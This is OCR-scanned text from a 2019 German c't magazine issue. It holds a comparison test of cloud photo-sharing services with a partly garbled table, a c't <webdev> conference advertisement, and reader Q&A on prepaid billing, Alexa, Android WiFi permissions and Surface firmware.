2017 vollig umgekrempelt. Speichern,
Anzeige und Bearbeitung sind dort
eng miteinander verknipft. Das Foto-
Cloud-Abo fiir knapp 12 Euro monatlich
umfasst entweder die Klassiker Photo-
shop CC und Lightroom Classic CC
sowie das neue Lightroom CC mit 20
GByte Cloud-Speicher oder nur Light-
room CC mit 1 TByte Cloud-Speicher.
Mobil-Apps und Browser-Umge-
bung geben dem Nutzer die notigsten
Verwaltungswerkzeuge an die Hand.
Dazu gehoren Finf-Sterne-Bewertun-
gen, Stichworter, die Flags ,Ausge-
wahlt” und ,Abgelehnt” sowie Titel,
Beschreibung und Copyright. Nach die-
sen Metadaten kann man auch filtern
und sie in die Freigabe integrieren.
Die Apps fiir Android, iOS, macOS
und Windows stellen einen nahezu
vollstandigen Satz an Lightroom-Werk-
zeugen zur Verfligung. Auch im
Browser kann man Fotos bearbeiten;
hier fehlen aber die Gradationskurven,
Objektivkorrekturen, die Transformie-
ren-Palette sowie einige andere Details.
Ein separater Bereich regelt in
Lightroom CC die Freigabe. Dort kann
man Alben freigeben, indem man Web-
Links kopiert oder das Album an Face-
book und Twitter weitergibt. Foto-
Download und den Export von Meta-
daten kann man unterbinden. Die
Fotos zeigt Lightroom CC als Diashow
in drei verschiedenen Geschwindig-
keiten mit Layouts, die abhdngig vom
Bildmaterial mehrere Fotos als Collage
zeigen. Andere Adobe-Nutzer kénnen
Likes und Kommentare hinterlassen.
Die Fotos lassen sich Uber die kosten-
losen Dienste Adobe Portfolio und
Adobe Spark in Webseiten einbinden.

© hohe Reichweite
© keine Alben

© geschmackvolle Web-Darstellung
© kein kostenloses Basisangebot

Foto-Sharing | Test
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OneDrive

Nutzer, die sich neu bei Microsoft
OneDrive anmelden, erhalten 5 GByte
kostenlosen Cloud-Speicherplatz. Hier
bewegt sich Microsoft auf Augenhdhe
mit der Apple iCloud. Vor Kurzem
waren es noch 7 und irgendwann
15 GByte - alles, was Ulber 5 GByte
hinausgeht, fiihrt OneDrive als Bonus.

Nach Anmeldung mit der Micro-
soft-ID kann man Dateien im Uber-
wachten OneDrive-Ordner ablegen,
den Microsoft sehr prominent im
Windows Explorer anzeigt. Der Inhalt
wird duf3erst zligig mit der Cloud und
allen Endgeraten synchronisiert.

In den Mobil-Apps von OneDrive
und im Browser kann man wahlweise
auf Dateien oder nur auf Fotos zugrei-
fen. Der Dateibereich spiegelt die
Ordnerstruktur wieder. Die Fotos-An-
sicht listet den Inhalt chronologisch.
Hier kann beziehungsweise muss man
die Fotos manuell in Alben sortieren
und diese anschlieBend freigeben.
Wiinschenswert ware hier, die Ord-
nerstruktur automatisch in den Alben
zu spiegeln.

Bei der Fotofreigabe zeigt Micro-
soft Werbung fir Office 365 und
damit verbundene Zusatzangebote.
Im Rahmen eines Abos von Office 365
Personal erhalt man fiir 7 Euro monat-
lich 1 TByte sowie als weitere Vorziige
Kennwortschutz und zeitliche Be-
schrankung fiir die Albenfreigabe.
Auch Nutzer des kostenlosen Ange-
bots kénnen zulassen, dass Betrachter
den Inhalt andern. Die Oberflache ist
klar strukturiert. Ein separater Bereich
zeigt alle freigegebenen Alben. Die
freigegebene Webseite prasentiert die
Fotos groBzligig und schnérkellos auf
weiBem Hintergrund. In der Diashow
sind die Fotos sanft animiert.

© klar strukturierte Oberflache
© lastige Werbung fiir Office 365

c't 2019, Heft 2
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Man kann seine Galerie durch weitere
Mafdnahmen zusitzlich absichern. Im
GMX MediaCenter und dem Web.de On-
line-Speicher kann man Web-Galerien
mit einem Kennwort sichern, das in einer
separaten E-Mail versandt wird. Auf3er-
dem lésst sich der Zugriff zeitlich be-
schrianken. Beides erlaubt auch Microsoft
OneDrive, allerdings nur in der kosten-
pflichtigen Variante mit Office-365-Abo.
iCloud-Alben lassen sich abonnieren,
jedoch nur unter Apple-Nutzern.

Ansichtim Web
Die Galerien von Flickr, Google Fotos,
Apple iCloud, Lightroom CC und One-

Cloud-Fotodienste

Drive sehen sich recht dhnlich. Alle rau-
men den Fotos viel Platz ein, ohne unnétig
breite Rahmen oder nichtssagende Datei-
namen einzublenden. Augenfilligster Un-
terschied ist, dass die Lightroom-Galerien
nicht wie alle anderen einen weifden, son-
dern standardmiflig einen schwarzen
Hintergrund haben. Das lédsst sich bei der
Lightroom-Freigabe durch einen Wechsel
vom dunklen zum hellen Thema dndern.
GMX und Web.de fallen durch farbige
Hintergriinde auf - eine eher ungliickliche
Wabhl. Dropbox blendet Dateinamen und
in der Listenansicht auch das Anderungs-
datum ein. Das Ganze sieht bewusst aus
wie ein Dateimanager.

Alle Dienste aufler Instagram zeigen
die Fotos eines Albums im Vollbild als
Diashow. Dabei verfolgt Lightroom CC
einen recht ungewdhnlichen Ansatz. Eini-
ge Fotos fasst der Dienst selbststandig zu
Collagen zusammen, sodass man in einer
Diashow mit 100 Fotos weniger als 100
Folien zu sehen bekommt.

Dropbox, GMX, Web.de, Google
Fotos, Lightroom CC und Microsoft One-
Drive bieten den Download des gesamten
Albums als ZIP-Datei an und garantieren
damit nicht nur die Ansicht, sondern auch
den unkomplizierten Austausch der ge-
teilten Fotos. Andernfalls miisste man zu-
sdtzliche Download-Archive einrichten.

1&1

Anbieter 500px
Web 500px.com
Sprache Englisch

kostenlos verfiighares Volumen 7 neue Fotos pro Woche

Traffic
Werbung
Anmeldung iber ID

unbegrenzt
v

Registrierung via Google, Facebook

Dropbox Smugmug

www.dropbox.com www.flickr.com www.gmx.net, www.web.de
Deutsch Englisch Deutsch
veners
2 GByte (erweiterbar auf bis zu 7 GByte) max. 1000 Fotos 8 GByte!
20 GByte pro Tag unbegrenzt 20 GByte téglich, 10 GByte fiir Géste
- v v
Registrierung via Google Registrierung via Yahoo, Google, Facebook ~ GMX/Web.de
unbegrenzt 5120 Pixel Kantenlénge unbegrenzt

Aufldsungsbeschrankung
filr Verkauf

Bildbearbeitung

unbegrenzt, mindestens 3 Megapixel

umfangreiche Filter und Werkzeuge

s

mobile Clients Android?, i0S ab 10.0

Desktop-Software

Upload iiber Web-Browser / lokale Ordner /App v/ /— /v
Formate: JPEG / PNG / TIFF / Raw vVi=l-/-
Video-Upload und -Streaming

Sofort-Upload von Mobilgerat

Androic?, i0S ab 10.0
Dropbox-Client (Windows ab 7, macOS ab

Android ab 4.4,i0S ab 9.0
Flickr Uploadr (Windows ab 7, mac0S

Androic?, i0S ab 10.0
GMX MediaCenter oder Web.de

10.9, Ubuntu ab 14.04, Fedora ab 21) ab 10.7) Online-Speicher (Windows ab XP)®
VIVIV vVi-Iv VIVIV

VIVIVIY VIVIV - VIV I=]-

MOV, MP4 u. a. (systemabhangig) MOV, MP4, WMV u. a. — (nur speichern)

v v v

‘ Verwaltung

Sortierung
Interessen

Stichwdrter und Beschreibungen
V-
V/ (Galerie)

Geotagging / Gesichtserkennung
zu Album hinzufiigen

benutzerdefinierte Reihenfolge

Album-Rechte: privat / offentlich vIiv

eingeschrénkter Zugriff -

URL der Fotofreigabe web.500px.com/photo/[...]
Vollbild-Diashow V/ (ohne Effekt)
Download: Originalfoto / Album v/-

Upload / Verwaltung o/®
Bildbearbeitung 00
Freigabe / Zugriffsschutz ®/6
Présentation im Web ®

Upload-Datum, Bewertung, Kontakte,

Kategorien, Beschreibung, Stichwdrter

Dateiname, Anderungsdatum, Typ, GréRe  Fotostream,

Alben, Favoriten, Kontakte, Ordner, Name, GroRe, Typ, Datum

Gruppen; Aufnahme-, Upload-Datum

- Stichwdrter, Kommentare, Beschreibung -

— /= V/ | — (Personen markieren) —-/=

v/ (Ordner) v V (Drag & Drop)

- v/ (Drag & Drop) -
e~

v/- ViV ViV

liber Web-Link fiir Kontakte Kennwort, Zeitbeschrénkung

dropbox.com/...] flickr.com/photos/[nutzername] c.gmx.net/[...]

V/ (ohne Effekt) v/ (Kreuzblende) v (Kreuzblende)

v/ [V (ZIP-Archiv) V- V[ v/ (ZIP-Archiv)
e

@D/ OO/® @/

CC) @ CC)

@®/0 [CC) @/ @D

O ®D o

9,99 € pro Monat (1 TByte) 50 US-$ pro Jahr (werbefrei und 1,99 € pro Monat (20 GByte)

Preis

12 GByte plus je 2 GByte bei Installation von Mail-App, MediaCenter-App und Windows-Anwendung

126 EEER

4,99 US-$ pro Monat (werbefrei)

unlimitiert)
2 App variiert je nach Android-Version

% bendtigt .NET
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Fazit
Fiir das gelegentlich geteilte Einzelfoto
reichen 500px oder Instagram. Wer An-
erkennung unter Fotografen oder im Be-
kanntenkreis sucht, findet hier eine geeig-
nete Spielwiese. Uber die Dropbox geteilte
Fotos kann man in Originalgrofie betrach-
ten, indem man bis auf Pixelebene hinein-
zoomt - alle anderen Dienste zeigen nur
eine verkleinerte Version des Fotos.
Flickr pflegt den Community-Gedan-
ken und kann dafiir immer noch die néti-
ge kritische Nutzerzahl aufweisen, bietet
aber auch die Moglichkeit, Alben anzule-
gen und zu teilen. Dass nicht mehr 1 TByte

nur noch 1000 Fotos, diirfte viele aber in
die Arme anderer Anbieter treiben.
Flickr, Google Fotos, die iCloud von
Apple, Adobe Lightroom CC und Micro-
soft OneDrive tiiberzeugen alle mit
schnorkellosen Online-Alben. Lediglich
die Apple iCloud erlaubt keinen Down-
load aller Fotos eines Albums als ZIP-Ar-
chiv. Von diesen Diensten ist Lightroom
CC der einzige ohne kostenloses Basis-
Angebot. Fiir 12 Euro im Monat bekommt
man dort aber einen leistungsfiahigen
Raw-Entwickler. Apple bindet seinen
Dienst sehr eng an die eigene Hardware.
Die Freigabe setzt zunichst eine Apple-ID

Foto-Sharing | Test

im zweiten Schritt kann man eine Web-
seite freigeben.

Flickr, Google Fotos und Microsoft
OneDrive zeigen sich letztlich am flexi-
belsten. Google bietet hier den meisten
kostenlosen Speicherplatz - unbegrenzt
mit bis zu 16 Megapixel pro Foto - sowie
KI fiir die Verwaltung. Das Haken ist, dass
man seine Daten dem US-Konzern auslie-
fert. Alternativen sind das GMX Media-
Center oder der Web.de Online-Speicher
des Internetdienstanbieters 1&1, die ihre
Server in Deutschland betreiben, immer-
hin 8 GByte kostenlosen Cloud-Speicher
bieten und Galerien auf Wunsch mit

kostenlos zur Verfiigung steht, sondern  und mithin ein Apple-Gerit voraus. Erst ~ Kennwort sichern. (akr@ct.de) €€

Google Apple Facebook Adobe Microsoft
photos.google.com www.icloud.com www.instagram.com lightroom.com onedrive.live.com
Deutsch Deutsch Deutsch Deutsch Deutsch

fiir Fotos bis 16 Megapixel und Videos in 5 GByte, ,,Fotostream* auf 1000 Fotos unbegrenzt - 5 GByte (7/15/25 GByte fiir Bestands-
Full HD unbegrenzt und 30 Tage begrenzt kunden)

unbegrenzt unbegrenzt unbegrenzt unbegrenzt unbegrenzt

v (Google-Dienste) - v - v/ (Microsoft-Dienste)

Google Apple-ID Registrierung via Facebook Adobe-ID (Reg. via Facebook, Google) Microsoft Live-ID (Outlook.com)

auf Google Drive unbegrenzt, kostenloses
Vol. auf 16 Megapixel beschrénkt

volle Aufldsung in Mediathek, 2304 Pixel
Kantenldnge iiber iCloud Fotofreigabe

1080 Pixel Kantenlange unbegrenzt, 1600 Pixel Kantenlénge

liber Freigabe

unbegrenzt, 1600 Pixel Kantenlénge
{iber Freigabe

umfangreiche Filter und Werkzeuge umfangreiche Filter und Werkzeuge umfangreiche Filter und Werkzeuge Lightroom-CC-Werkzeuge Drehen

Android?, i0S ab 10.0
Google Drive Back up & Sync (Windows

Android?, i0S ab 11.0
Lightroom CC, Lightroom Classic CC

Android ab 5.0, i0S ab 10.0, Win. Phone 7.5
Microsoft OneDrive (Windows ab 8,

i0S 5.0 - 12.0 (Funktionsumfang variiert) ~ Android?, i0S ab 9.0
iCloud (Windows ab 7, mac0S ab 10.14) —

ab 7, mac0S ab 10.10) (je fiir Windows und mac0S) mac0S ab 10.10)

v/ | = (nur Google Drive) / v/ — [/ (via Kontextmenii) / v/ —/=Iv VIi-Iv VIVIV

VIVIVIV VIVIVIV VIvVI=1- VIVIVIV VIVIVIV

MOV, MP4, WMV u. a. MOV, MP4 MOV, MP4 MOV, MP4 u. a. MOV, MP4, WMV (andere nur speicher)

<
<
I

<
<

Datum, Alben, Personen, Orte, Dinge &
Tiere, Videos, Collagen, Highlights u. a.

Aufnahmedatum, Alben, Personen, Orte Upload-Datum, Bewertung, Kontakte Aufnahme-, Dateidatum, Name,

Bewertung, Alben

Album, Aufnahmedatum

automatische Stichwdrter diber KI Stichwortvergabe via Apple Fotos Hash-Tags Titel, Bildunterschrift, Copyright Beschreibung

viv v/ [V (viaApple Fotos) —/- —/— — / — (Personen markieren)

v v - v v

V (Drag & Drop) - - / (Drag & Drop) V/ (Drag & Drop)
e

viv viv -Iv ViV viv

{iber Web-Link Freigabe an Apple-Nutzer, iiber Web-Link  Profil nur filr Kontakte sichtbar {iber Web-Link Kennwort und Zeitbeschr. mit Office 365

photos.app.g00.gl/...] www.icloud.com/sharedalbum/de-de/[...] ~ www.instagram.com/[...] adobe.ly/[...] 1drv.ms/a/l...]

V/ (wischen) V/ (wischen) - v/ (Kreuzblende) v/ (Kreuzblende und Animation)

Vv |/ (ZIP-Archiv) — (2304 Pixel KL) / — —/- v/ [/ (ZIP-Archiv) v/ [/ (ZIP-Archiv)
e

DD/ @D ®®/0 ©/06 DD/ @D @®/0

O O ® @D o

®/0 o/® 00/0 o/® CNC)

®D ®D O @D CC)

kostenlos 0,99 € pro Monat (50 GByte) kostenlos 11,89 € pro Monat (1 TByte oder 7 € pro Monat (1 TByte, in Office 365

20 GByte Cloud-Speicher) Personal enthalten)
@@ sehr gut @ gut O wufriedenstellend © schlecht ©®O sehr schlecht V/ vorhanden — nicht vorhanden k. A. keine Angabe
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Anzeige

€/ <webdev>)

Die Konferenz

fur Frontend-

Entwicklung

Am 6. und 7. Februar 2019 ladt die c’t-Redaktion
zur ersten c’'t <webdev> nach Koln ein.

Die neue Konferenz bringt professionelle Entwickler tiber die Grenzen

einzelner Programmiersprachen und Frameworks hinaus zusammen.

Sie gibt ihnen die Mdglichkeit, sich tber alltagliche Probleme auszutauschen

und sich Uber neue Ansatze und Tools zu informieren.

Breites Themenspektrum

Die c't <webdev> behandelt das gesamte Spektrum der Entwick-
lung von Web-Frontends, angefangen bei Frameworks wie Vue.js
und Angular tber Progressive Web Apps und Performance-
Optimierung bis hin zu Web-APIs. Dariiber hinaus werden auch
neue Frontends vorgestellt, etwa Assistenten, Bots und VR. Auch
das Thema Sicherheit kommt nicht zu kurz. Ein eigener Vortrag
behandelt die ersten Auswirkungen der DSGVO.

In drei parallelen Tracks prasentieren hochkaratige von der
c't-Redaktion ausgesuchte Sprecher die neuesten Informationen
im Bereich der Frontend-Entwicklung und zeigen Tipps und Tricks.

Geplante Vortrage

Peter Kroner erklédrt in seinem Vortrag alles rund um Pro-
gressive Web Apps. Diese Webanwendungen funktionieren fast
wie native Apps: Sie laufen offline, haben Starter-lcons und nutzen
native Features wie Push-Benachrichtigungen. Kréner, selbst-
standiger Trainer fir Frontend-Technologien, entwickelt mit lhnen
eine Progressive Web App, die sich auf dem Smartphone und dem

Desktop installieren lasst und Push Notifications empfangen kann.
Neben den konkreten Technologien wie Service Workers und APls
geht es auch um Bibliotheken, Entwicklerwerkzeuge und Tipps
fur den Umgang mit PWA-Technologien im Alltag.

Ihr Nutzen: Nach diesem Talk werden Sie eine bessere Vor-
stellung davon haben, wie und mit welchen Mitteln sich nativ wir-
kende Webanwendungen umsetzen.

Beim Prototyping gehen die Meinungen weit auseinander:
Wozu sind Prototypen gut, was muss ein Prototyp kénnen?
Marie Schweiz wird in ihrem Vortrag erldutern, wie unterschiedlich
Prototypen sein kénnen und welchen Nutzen Sie und lhre Kollegen
aus ihnen ziehen kénnen.

Ihr Nutzen: Sinnvoll eingesetzt kann Prototyping helfen, den
Entwicklungsaufwand und damit die Kosten gering zu halten.
Nach dem Talk werden Sie wissen, wann ein Prototyp Verschwen-
dung ist und wann sich damit Zeit wahrend der Entwicklung spa-
ren lasst.

Drittanbieter-Skripte mit gutem Gewissen einsetzen: Zu die-
sem Thema spricht Frontendarchitekt und Lead-Ul-Developer



Anzeige

Jan Thiel. Immer mehr Anbieter von webbasierten (Marketing-)
Tools verlangen das Einbinden von JavaScript-Code in die
eigene Website. Als wére das nicht schon schlimm genug, wird
der Code in der Regel auch noch von fremden Servern nach-
geladen und funkt ungefiltert und nach Belieben Daten nach
Hause.

Technisch und aus Gesichtspunkten des Datenschutzes ist
solch ein Verhalten nicht akzeptabel und oftmals nicht einmal
notwendig, sondern dient nur den Geschéftsinteressen der An-
bieter. Wie kann man als Seitenbetreiber nun aber die zum Teil
durchaus sinnvollen Funktionen dieser Dienstleister verwenden,
ohne die Besucher dem Datensammelwahn durch 3rd Party Code
ungeschiitzt auszusetzen?

Ihr Nutzen: Datenschutz und Sicherheit sind vieldiskutierte
Themen, trotzdem ist Werbung zur Finanzierung vieler Angebote
wichtig — Jan Thiel zeigt, wie sich beides vereinen lasst.

Was macht eine gute User Experience aus? Kann eine gute
User Experience zu besserer Interaktion und vielleicht sogar hé-
heren Gewinnen fuhren? Wenn ja, wie? Anhand einiger Beispiele
werden die UX-Designer Jennifer Moss und Stefanie Kegel erkla-
ren, welche Fallstricke Sie auf jeden Fall vermeiden sollten, wenn
es |hr Ziel ist, aus ,Usern” zufriedene Kunden zu machen.

Ihr Nutzen: Die inhaltlich herausragendste Website mit den
besten Angeboten nutzt wenig, wenn sie sich nicht richtig bedie-
nen lasst. Wie User Experience und Conversion Rate zusammen-
hangen und wie Sie von einer guten UX profitieren, erfahren Sie
in diesem Vortrag.

Wie mobile Anwendungen angegriffen werden und was das
fir Entwickler bedeutet, erkldart der Senior Penetration
Tester & Security Consultant Frank Ully. Mobile Anwendungen
stehen Webanwendungen im Funktionsumfang kaum noch nach,
dennoch werden Sicherheitsaspekte bei ihrer Entwicklung oft ver-
nachléssigt. Das Open Web Application Security Project (OWASP)
hat eine Liste der zehn kritischsten Sicherheitsrisiken mobiler
Anwendungen zusammengestellt. Der Vortrag stellt diese Top-
Ten-Angriffe vor, erlautert ihre Ursachen und zeigt, mit welchen
MaBnahmen Entwickler ihre Anwendungen absichern.

Ihr Nutzen: Sicherheit muss beim Entwickeln von Apps von
Anfang an beriicksichtigt werden — dieses Bewusstsein und das
notwendige Wissen werden jedoch in Studium und Kursen un-
zureichend vermittelt. Dieser Talk soll helfen, diese Liicken zu
schlieBen, und gibt zum Abschluss Hinweise auf gute weiter-
fihrende Quellen zur tieferen Auseinandersetzung mit dem
Thema.

Bei der c't <webdev> wird auch live gecodet. Wahrend seines
Vortrags wird Christian Grail ein in einer weit entfernten Galaxie
handelndes AR-Spiel entwickeln. Grail, Software Development
Architect bei SAP, spricht auch (iber den Stand der Spieleentwick-
lung mit WebXR, derzeitige Einschrankungen und geplante zu-
kiinftige Losungen. Google, Microsoft und Mozilla sind derzeit die
treibenden Krafte hinter dem WebXR-Standard des W3C. Sobald
alle groBeren Browser ihn nativ unterstiitzen, kénnten Augmented
Reality Web Apps allgegenwartig werden.

Ihr Nutzen: Werfen Sie einen Blick auf kommende Technolo-
gien und lassen Sie sich flir eigene Augmented-Reality-Projekte
inspirieren.

Workshops

AnschlieBend an die Konferenz kénnen Entwickler am 8. Februar
ihr Wissen in Workshops noch vertiefen.

Peter Kroner gibt in seinem Hands on Progressive Web App
Bootcamp einen ausfiihrlichen Uberblick iiber diese neuen Apps.
PWAs sind kein Feature bestimmter JavaScript-Frameworks,
sondern konnen mit jedem beliebigen Stack gebaut werden. Zur
Teilnahme ist keinerlei Kenntnis irgendeines bestimmten JS-Fra-
meworks nétig. Der erste Teil des Workshops befasst sich mit
den Hintergriinden, Technologien und Patterns hinter PWAs: Wie
funktionieren Service Worker wirklich? Welche PWA-Patterns
sind wichtig? Welche Libraries helfen im Alltag? Geriistet mit
dem Wissen um diese und viele weitere Grundlagen ist es ein
Leichtes, mit einem selbst gewahlten Toolset eine eigene PWA
zu entwickeln. Im zweiten Teil dieses Workshops werden die Teil-
nehmer Gelegenheit haben, in einer umfangreichen Hands-On-
Ubung Praxiserfahrung mit PWAs zu sammeln.

Sven Wolfermann dreht in in seinem Workshop Web-Perfor-
manceoptimierung 2019 an der Performance-Schraube. Tempo
ist wichtig, denn Google bevorzugt schnelle Seiten im Ranking
und Anwender wollen nicht auf das Laden von Schriften oder zu
groBer Bildern warten. Wie werden Web Fonts effizient geladen?
Was ist beim Laden von CSS, JavaScript und Bildern zu beach-
ten? Wie testet man Website-Performance und automatisiert
Monitoring? Welche Méglichkeiten bieten Service Worker und
HTTP2 zur Performance-Steigerung? Sven Wolfermann erklart
in seinem Workshop die Basics und stellt neue Techniken zur
Performance-Optimierung vor.

Im dritten Workshop spielt Jan Bérens die Entwicklung einer
Single-Page-Anwendung mit Vue.js durch: Angefangen mit
dem Scaffolding der Anwendung mittels der neuen Vue CLI 3.0,
in der die einzelnen Bestandteile der Applikation erklart wer-
den - etwa die Webpack-Konfiguration (Bundling, Code-Split-
ting, PWA-Manifest...) -, liber die Konfiguration eines Linters
(Style-Guides), die Syntax von Vues Single-File-Components,
den vue-router, Vuex, bis hin zu Vue.js selbst.

Doch bei aller Fachprosa wird natlirlich auch gentigend Zeit und
Raum fir entspanntes Netzwerken und ausgiebige personliche
Gesprache bleiben. Am Abend des ersten Tages wird es ein Get
Together mit gemeinsamem Essen geben, bei dem sich Gleich-
gesinnte zu den unterschiedlichen Themen austauschen kénnen.

Die c't <webdev> findet im Kdlner Veranstaltungszentrum
Komed statt. Alle Raume und Foyers im Komed sind barrierefrei
gestaltet. Das Komed liegt im zentral gelegenen MediaPark.
In unmittelbarer Umgebung befinden sich zahlreiche Hotels.
Alle Details zur neuen Konferenz stehen auf der Website der
Veranstaltung unter http://ctwebdev.de. Dort kénnen Sie auch
Tickets buchen. Tickets fiir die zwei Konferenztage kosten
499 Euro, ein Workshop-Ticket kostet ebenso 499 Euro.

/I
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Prepaid auBBer Kontrolle?

Ich benutze einen Telekom-Prepaid-

Tarif, von dem ich den Datenteil
kaum ausschopfe. Fiir Telefonie und SMS
sind 9 Cent/Minute fillig. Da ich mich
ofter tiber einen doch hohen Kostenanteil
von Telefonnutzung gewundert habe, bat
ich die Telekom um einen Einzelverbin-
dungsnachweis. Die Mobilfunknummer
ist mit Namen dort registriert, es gibt auch
eine Kundennummer. Zu meiner Uberra-
schung teilt mir die Telekom jedoch mit,
das fiir diesen Tarif standardméf3ig kein
Verbindungsnachweis moglich ist.

Im Prepaid-Bereich ist eine Einzelab-

rechnung tatsichlich eher untblich.
Es gibt zwar einzelne Anbieter, die das
tibersichtlich und transparent abrechnen,
die Telekom gehort jedoch nicht dazu.

Die Kostenkontrolle bezieht sich le-
diglich auf den Umstand, dass nur einge-
zahltes Guthaben verbraucht werden
kann, also nicht tiberraschend hohe Kos-
ten entstehen konnen.

Falls Sie den Verdacht haben, dass Ihr
Anbieter nicht korrekt abrechnet, konnen
Sie nachtréglich einen Einzelverbindungs-
nachweis anfordern. Das ist aber dann nur
jeweils im Einzelfall méglich und maximal
80 Tage nach Rechnungsstellung bezie-
hungsweise bei Prepaid nach Verbindung.

(uma@ct.de)

Alexa fiir Notebooks?

Als ich kiirzlich ein BIOS-Update

eines Acer Aspire A515-51G aufspiel-
te, fiel mir im Change-Log folgender Ein-
trag auf: ,,Add Amazon Alexa support.”
Was hat es damit auf sich?

Notebooks haben schon seit Jahren
Kameras und Mikrofone fiir Videote-
lefonie eingebaut; die Nutzung der Mikro-
fone flir Sprachassistenten ist da nur ein
zusitzlicher Anwendungszweck. Grund-
satzlich lasst sich unseres Wissens bei
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Sie fragen -

wir antworten!

jedem aktuell mit Windows 10 ausgelie-
ferten Notebook auch Cortana aktivieren.

Bei dem per BIOS-Update hinzuge-
fligten Alexa-Support diirfte es sich ledig-
lich um ein nachtréglich hinzugefiigtes
digitales Zertifikat handeln, welches be-
scheinigt, dass das Mikrofon-Array be-
stimmte Anforderungen erfiillt. Ohne die-
ses lasst sich die Alexa-App oder Alexa
selbst nicht nutzen, zum Verkaufsstart des
Notebooks lag das Zertifikat offensichtlich
nicht vor. Auch hier gilt aber: Ohne App
oder gezielte erstmalige Aktivierung wird
Alexa nicht aktiv.

Ein Support-Artikel (siehe ct.de/ydj9)
von Acer zeigt, dass auch noch andere Vo-
raussetzung fiir Alexa noétig sind - etwa
mindestens Windows 10 1709.

(mue@ct.de)

Acer-Support-Artikel: ct.de/ydj9

Spotify & Co. mit Apples
Media-Tasten steuern

Ich mochte die Spotify-App am Mac

mit den Media-Tasten meiner Apple-
Tastatur steuern. Driicke ich aber die
Start/Pause-Taste, wenn das Fenster nicht
im Fokus ist, startet stattdessen die Wie-
dergabe in iTunes - das nervt ganz schon.
Kann ich macOS dieses Verhalten abge-
wohnen?

Mit Bordmitteln gelingt das nicht,

wohl aber mit dem kostenlosen Tool
BeardedSpice vom gleichnamigen Ent-
wickler. Das klinkt sich in die Meniileiste
von macOS ein, iiberwacht, welche App
oder welcher Browser-Tab gerade etwas
abspielt und reicht die Eingabe der Media-
Tasten dorthin weiter. Es unterstiitzt eine
ganze Reihe von Apps, wie Spotify, VLC
und Downcast sowie diverse Player im
Browser.

Das Tool funktioniert auch mit Tasta-
turen ohne Abspieltasten: Dazu definiert
man in den Einstellungen Kurzbefehle fiir

Preferences

¥

General Shortcuts

a Launch at login
Check for Compatibility Updates at Launch
Use Apple Remote for control playback

Pause playback when headphone is removed
Show track info on keypress when player is hidden
Show track progress instead of album

Media Controllers:

iTunes
Spotify
8 vic

VOxX
Downcast

ecso

Airfoil Satellite

22tracks

Btracks

(<< ]

B Amazon Music
Anghami

Apple Developer
Audible

Import...

Mit BeardedSpice steuern die Abspiel-
tasten des Apple-Keyboards auch
andere Media-Player als iTunes.

Wiedergabe/Pause, Vor und Zuriick sowie
um eine bestimmte App als aktiven Player
festzulegen. (bkr@ct.de)

Download von BeardedSpice:

ct.de/y5eh

Wifi-Signalstarke
unsichtbar unter Android

Seit dem Upgrade auf Android 6.0

zeigen Apps wie Wifi Analyzer auf
meinem Smartphone keine Signalstérken
flir WLANSs mehr an.

Sie haben vermutlich die Standort-
erkennung auf Threm Gerit abge-
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schaltet oder der App den Zugriff auf die
Standortdaten untersagt. Wenn Sie den
Dienst aktivieren und der App den Zugriff
erlauben, sollten auch die Signalstarken
wieder angezeigt werden.

Das ist insofern erklérlich, als An-
droid-Mobilgerite seit API 23, der Version
23 des Application-Package-Formats von
Android 6.0 (Marshmallow), alle App-An-
fragen zur WLAN-Signalstarke als Stand-
ortanfragen behandeln. Zwar nutzt An-
droid die Signalstirke von WLAN-Verbin-
dungen schon seit jeher zur Ortsbestim-
mung, nur wurden diese Abfragen bis
einschliefdlich API 22 nicht systemweit re-
guliert. Das heifdt, die Apps brauchten fiir
die Auskunft iiber Signalstirken zwar
schon derzeit mindestens eine der Be-
rechtigungen ACCESS_FINE_LOCATION
oder ACCESS COARSE_LOCATION,
aber sowie der Anwender diese iiber den
App-Manager gewahrt hat, gab sich das
System damit zufrieden. Seit API 23 gilt
das nicht mehr: Seit dieser Version miis-
sen systemweit auch die Standortdienste
aktiviert sein, sonst liefern die Abfrage-
routinen beim Scannen der erreichbaren
WLAN-Signalstarken auch bei passenden
App-Berechtigungen nur eine leere Liste.

Androids Standortdienste reduzieren
die Akkulaufzeit von Mobilgeriten, weil sie
in der Default-Einstellung permanent -
auch bei scheinbar ausgeschaltetem Gerit
- nach GPS- und WLAN-Signalen lau-
schen. Den Stromverbrauch kann man seit
API 22 vermindern, indem man bei einge-
schalteten Standortdiensten unter ,,Ein-
stellungen/Standortdienste/Modus® den
Energiesparmodus wéhlt. Dann verzichtet
das Gerit auf den energiehungrigen GPS-
Empfang und scannt auch WLAN-Signal-
stiarken nur noch, wenn eine berechtigte
App danach fragt. (hps@ct.de)

Firmware-Update beim
Surface Book 2 schlagt fehl

Ich habe mein Surface Book 2 gerne

sicher, weshalb die SSD per BitLocker
verschliisselt ist und ich regelmafiig alle
per Windows Update angebotenen Up-
dates installiere. Die UEFI-Firmware
389.2370.769.0 von Ende November 2018
lasst sich allerdings nicht installieren:
Windows Update meldet im Protokoll
einen Fehler, im Geridte-Manager ist der
Eintrag ,,Surface UEFI“ mit einem Ausru-
fezeichen markiert, und Windows Update
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findet die Firmware auch nicht erneut.
Was kann ich tun?

Moglicherweise haben Sie Ihr Note-

book zu haufig aktualisiert. Im August
2018 hat Microsoft ein - mittlerweile zu-
riickgezogenes - Firmware-Update fiir ei-
nige Surface-Book-2-Modelle veroffent-
licht, welches Probleme hinsichtlich Bit-
Locker mitbrachte: Beim Reboot nach der
Firmware-Installation musste man den
BitLocker-Wiederherstellungsschliissel
manuell eintippen. Danach funktionierte
das Notebook zwar wieder, allerdings war
BitLocker danach in einer Legacy-Konfi-
guration gefangen. Genau daran scheitert
jetzt die Installation der November-Firm-
ware.

Um das Problem zu beheben, hat Mi-
crosoft das Tool ,,Surface BitLocker Pro-
tector Check® bereitgestellt (siehe ct.de/
yllp), dass die Bitlocker-Konfiguration
wieder korrigiert. Das Notebook startet
wahrenddessen mehrfach neu, wobei
dann die November-Firmware eingespielt
wird. Falls nicht, kdnnen Sie sie erneut per
Windows Update suchen oder manuell
iiber das rund 1 GByte grofden Download-
Paket (siehe ct.de/y11p) mit allen aktuel-
len Treiber- und Firmware-Versionen ein-
spielen.

Fiir Probleme rund um Surface-Gera-
te stellt Microsoft Firmen-Admins tibri-
gens eine Diagnose-Toolkit bereit, wel-

ASUS DSL-AC68VG Dual-Band Wireless-AC2200 Gigabit VDSL2/ADSL2+ VoIP Modem Router - Schnellstart - Mozilla Firefox

@) ASUS DSL-AC68VG Duals X | +

« @© 192.168.1.1/Q15_

/iSUS DSL-ACE8VG

LI Assistenten
86 berspringen

Internet
Schnelleinrichtung
